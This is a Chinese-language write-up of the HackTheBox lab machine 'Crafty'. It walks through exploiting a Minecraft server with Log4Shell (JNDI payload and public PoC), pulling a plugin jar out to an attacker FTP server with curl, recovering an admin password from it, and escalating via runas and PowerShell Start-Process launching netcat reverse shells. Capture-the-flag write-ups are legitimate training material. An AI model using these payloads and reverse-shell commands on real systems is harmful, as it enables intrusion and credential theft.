[Meachines][Easy]Crafty

Main

$ sudo nmap -p- -sS -T4 10.10.11.249

发现25565端口是我的世界服务器端口

image.png

  • CVE-2021-44228:
    https://nodecraft.com/blog/service-updates/minecraft-java-edition-security-vulnerability
  • 在阿帕奇Log4j图书馆,广泛使用的记录框架,在Java应用程序。 这个漏洞,也称为Log4Shell,允许攻击者执行恶意代码的远程通过利用一个缺陷在图书馆的JNDI(Java命名和目录口)查询机制。

# echo "10.10.11.249 crafty.htb">>/etc/hosts

修改本地hosts文件解析地址

image.png

$ git clone https://github.com/kozmer/log4j-shell-poc

$ cd log4j-shell-poc

# vim log4j-shell-poc

修改/bin/bash为cmd.exe

image.png

(log4j-shell-poc)$ wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz

下载java环境,在log4j-shell-poc目录中

(log4j-shell-poc)$ tar -zxf jdk-8u181-linux-x64.tar.gz

(log4j-shell-poc)$ mv jdk1.8.0_181 jdk1.8.0_20

下载我的世界启动器 https://tlauncher.org/jar

$ wget -O TLauncher-2.899.zip https://tlauncher.org/jar

$ unzip TLauncher-2.899.zip

$ java -jar TLauncher-2.899.jar

选择版本1.16.5进行下载

image.png

选择多人游戏

image.png

手动添加服务器或者等待一会也能扫出来

image.png

image.png

$ python3 poc.py --userip 10.10.16.23 --webport 8200 --lport 10032

image.png

$ nc -lvnp 10032

进入游戏中,按t输入payload

${jndi:ldap://10.10.16.23:1389/a}

image.png

image.png

image.png

User Flag

>dir C:\Users\svc_minecraft\Desktop

>type C:\Users\svc_minecraft\Desktop\user.txt

image.png

fa3ee28076b9040712a643b7f1c0b67e

Root Flag

发现一个jar包,plugins/playercounter-1.0-SNAPSHOT.jar包

image.png

image.png

很明显我们不能在IIS默认目录下写文件,也就意味着这个jar包只能用其他方式下载

>curl

image.png

可以看到有curl命令,我们使用curl+ftp进行文件上传与下载

image.png

在kali中创建临时的FTP服务

$ pip3 install pyftpdlib
$ mkdir ftp_temp;cd ftp_temp
(ftp_temp)$ python3 -m pyftpdlib -w -u martin -P martin -p 21

image.png

  • 本主机文件上传至FTP服务器

$ curl -T <File.xxx> -u martin:martin ftp://10.10.16.23/

  • 从FTP服务器将文件下载至本主机

$ curl -O -u martin:martin ftp://10.10.16.23/file.txt

接下来将plugins/playercounter-1.0-SNAPSHOT.jar上传至kali主机

> curl -T c:\users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar -u martin:martin ftp://10.10.16.23/

image.png

image.png

$ sudo apt install jd-gui

下载jd-gui分析jar包

$ jd-gui 启动

image.png

这是一个统计玩家在线的插件程序,在这段程序中,s67u84zKq8IXw 是用于 RCON(远程控制)连接的密码。RCON 是一种远程服务器控制协议,通常用于管理游戏服务器,特别是 Minecraft 服务器。

在 Minecraft 服务器中启用 RCON 后,需要提供一个密码以允许远程管理服务器。这个密码是在 Minecraft 服务器的配置文件中设置的。当你使用 Rcon 连接到服务器时,需要提供这个密码来验证你的身份,以便执行管理操作,例如发送命令给服务器。

Tools

  • WinPEAS:WinPEAS 脚本会自动收集系统信息,并执行一系列检查,以查找常见的安全漏洞和潜在的特权升级路径。它可以检查诸如文件权限、服务配置、定时任务、安装程序和服务等方面的问题,并生成详细的报告,帮助用户识别潜在的安全威胁和漏洞(https://github.com/peass-ng/PEASS-ng/releases/tag/20240414-ed0a5fac)

  • Seatbelt:Seatbelt是一款由 SpecterOps 开发的用于 Windows 主机安全审计和特权升级的工具。它旨在帮助渗透测试人员、红队成员和安全研究人员识别和利用 Windows 系统上的潜在安全漏洞和特权升级路径。(https://github.com/r3motecontrol/Ghostpack-CompiledBinaries)

  • jaws-enum:jaws-enum 脚本使用 PowerShell 编写,通过执行一系列 PowerShell 命令和技巧来收集信息和检查系统配置。它能够在 Windows 主机上运行,并且可以作为渗透测试、红队行动和安全审计中的一部分来帮助用户识别潜在的安全风险和漏洞。(https://github.com/411Hall/JAWS)

Manually elevate privileges using local credentials

>cmdkey /list

  • 列出当前计算机上存储的凭据信息。凭据信息通常是用户登录凭据、网络共享凭据等,可以用于自动登录网络共享、远程服务器等场景

image.png

这种命令就必须要看管理员是否有密码了
>runas /env /noprofile /savecred /user:JUGG-efrost\administrator "cmd.exe /c whoami > whoami.txt"
将里面换成反向shell命令即可
image.png

>runas /env /noprofile /savecred /user:administrator ".\nc64.exe 192.168.8.107 10033 -e cmd.exe"

image.png

我们可以很清楚看到有一个反向shell的cmd命令窗口,这样容易被人为关闭进程,我们可以通过powershell来隐藏窗口

runas /env /noprofile /savecred /user:administrator "powershell.exe -w hidden -c .\nc64.exe 192.168.8.107 10033 -e cmd.exe"

由于这些都是只能在GUI界面进行提权,得考虑如何从反向shell界面进行提权

所以采用powershell-ep绕过从我们目前的shell

> $secpasswd = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force

> $mycreds = New-Object System.Management.Automation.PSCredential ("Administrator", $secpasswd)

> Start-Process -FilePath powershell.exe -argumentlist ".\nc64.exe 10.10.16.23 10032 -e cmd.exe" -Credential $mycreds

逐步分析

  • s67u84zKq8IXw被(AsPlainText)指定为明文将作为安全字符串保存,并且忽略安全问题(安全字符串(SecureString)是一种在 PowerShell 中用于存储敏感信息的数据类型。与普通字符串不同,安全字符串以加密方式存储在内存中,并且在使用完毕后会立即被清除,以增强数据的安全性)
  • System.Management.Automation.PSCredential使用指定的用户名和密码创建一个凭据对象 $mycreds,以便在 PowerShell 脚本中使用该凭据对象来执行需要认证的操作,比如远程连接、启动进程等。
  • Start-Process使用 PowerShell 启动一个新的进程,以执行 powershell.exe 命令,并传递了参数 -argumentlist 来指定要执行的命令。具体来说,命令是 .\nc64.exe 10.10.16.23 10032 -e cmd.exe

回到题目中

在kali先将反向shell的powershell脚本保存至临时ftp目录

$ vim reverse.ps1

$ python3 -m pyftpdlib -w -u martin -P martin -p 21

image.png

切换到临时目录,并且进行文件下载

> cd ..\AppData\Local\Temp

> curl -O -u martin:martin ftp://10.10.16.23/reverse.ps1

image.png

我们将当前终端进入powershell

image.png

ps> $secpasswd = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force

ps> $mycreds = New-Object System.Management.Automation.PSCredential ("Administrator", $secpasswd)

ps> Start-Process -FilePath powershell.exe -argumentlist ".\reverse.ps1" -Credential $mycreds

image.png

成功提权

image.png

image.png

499d7b2f787007256ecb549acaa96c25

彩蛋

没事干做了一个八段数码管

在这里插入图片描述
在这里插入图片描述

整体思路用命令方块填充坐标,在写入数据缓冲区中控制了每一个段的地址.
用户将数据写入数据缓冲区时,会二次将数据近些写入数据缓存区,让数码管点亮,在清除缓冲区中主要起到一个清除标志位的作用,用来擦除两个数据缓冲区的内容

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/636484.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《MATLAB科研绘图与学术图表绘制从入门到精通》示例:绘制伊甸火山3D网格曲面图

11.4.2小节我们使用3D曲面图可视化分析伊甸火山数据&#xff0c;本小节我们采用3D网格曲面图可视化分析伊甸火山数据&#xff0c;以展示其地形&#xff0c;具体示例代码如下。 购书地址&#xff1a;https://item.jd.com/14102657.html

局域网无法连接怎么办?

局域网连接是我们日常生活和工作中常用的方式之一&#xff0c;但有时我们可能会遇到局域网无法连接的问题。这给我们的工作和生活带来了很大的困扰。本文将介绍局域网无法连接的常见原因&#xff0c;并推荐一款名为【天联】的组网产品&#xff0c;它能够解决不同地区间的局域网…

js 函数节流和函数防抖及区别详解

文章目录 1. 前言2. 函数节流3. 函数防抖4. 总结 1. 前言 浏览器中总是有一些操作非常耗费性能。所以就有了函数节流和函数防抖来提高浏览器性能。 函数节流&#xff1a;频繁触发一个事件时候&#xff0c;每隔一段时间&#xff0c;函数只会执行一次。 函数防抖&#xff1a;当触…

【webrtc】m98 RoundRobinPacketQueue的优先级处理

m98 代码 PacedSender::EnqueuePackets 的调用者可能是多个地方,所以这个要加锁保护。RoundRobinPacketQueue 本身是没有锁的发现m98和新版本不同,参考:【webrtc】m114自己实现的PrioritizedPacketQueuepush和pop都是RtpPacketToSend 但是实际上,内部是封装为QueuedPacket 处…

JQuery快速入门

目录 一、引入依赖 二、JQuery语法 三、JQuery选择器 四、JQuery事件 五、操作元素 1、获取 / 设置元素内容 1&#xff09;获取元素 2&#xff09;设置元素内容 2、获取 / 设置元素属性 1&#xff09;获取元素属性 2&#xff09;设置元素属性 3、获取 / 返回css属性…

JavaScript之分时函数、分时间段渲染页面、提高用户体验、参数归一化、高阶函数、分段、appendChild、requestIdleCallback

MENU 前言效果图html原始写法优化方式一(参数归一化)优化方式二(当浏览器不支持requestIdleCallback方法的时候)优化方式三(判断环境) 前言 当前需要向页面插入十万个div元素&#xff0c;如果使用普通的渲染方式&#xff0c;会造成延迟。这时候就需要通过分时函数来实现渲染了。…

(C语言)fscanf与fprintf函数详解

目录 1 fprintf详解 1.1 向文件流中输入数据 1.2 向标准输入流写数据 2. fscanf函数详解 2.1 从文件中读取格式化数据 2.2 从标准输入流中读取格式化数据 1 fprintf详解 头文件&#xff1a;stdio.h 该函数和printf的参数特别像&#xff0c;只是多了一个参数stream&#…

互联网技术知识点总览——计算机网络知识框架

简介 本文对计算机网络的知识点整体框架进行梳理和分享如下&#xff1a;

HANA SQL消耗内存和CPU线程的限制参数

HANA再处理大数据表相关的复杂Sql时&#xff0c;如果没有设置Memory和CPU线程上限的话&#xff0c;会将HANA的资源占用殆尽&#xff0c;造成HANA无法响应其他Sql请求&#xff0c;导致表现在应用服务器上就是系统卡顿的情况。解决上述问题的办法就是按照下图设置Memory(图1&…

车轮上的智能:探索机器学习在汽车行业的应用前景

文章目录 引言&#xff1a;一、机器学习在汽车设计中的应用设计优化模拟与测试 二、智能制造与生产三、自动驾驶技术感知与决策数据融合 四、市场与模式的变革五、机器学习对于汽车行业的机遇与挑战挑战机遇 引言&#xff1a; 在当今数字化时代&#xff0c;机器学习作为人工智…

Vue报错 Cannot read properties of undefined (reading ‘websiteDomains‘) 解决办法

浏览器控制台如下报错&#xff1a; Unchecked runtime.lastError: The message port closed before a response was received. Uncaught (in promise) TypeError: Cannot read properties of undefined (reading websiteDomains) at xl-content.js:1:100558 此问题困扰了…

Linux系统中传输文件

linux系统中,主机间文件传输有多种方式,如主机间的scp、物理主机与虚拟主机间的sftp等。本文从应用角度讨论文件的上传下载。 除putty远程连接工具不能图形化下载上传文件外,其他常用工具,如xshell、finalshell、CRT等,都可以通过图形化方式拖放文件而达到传输文件的目的…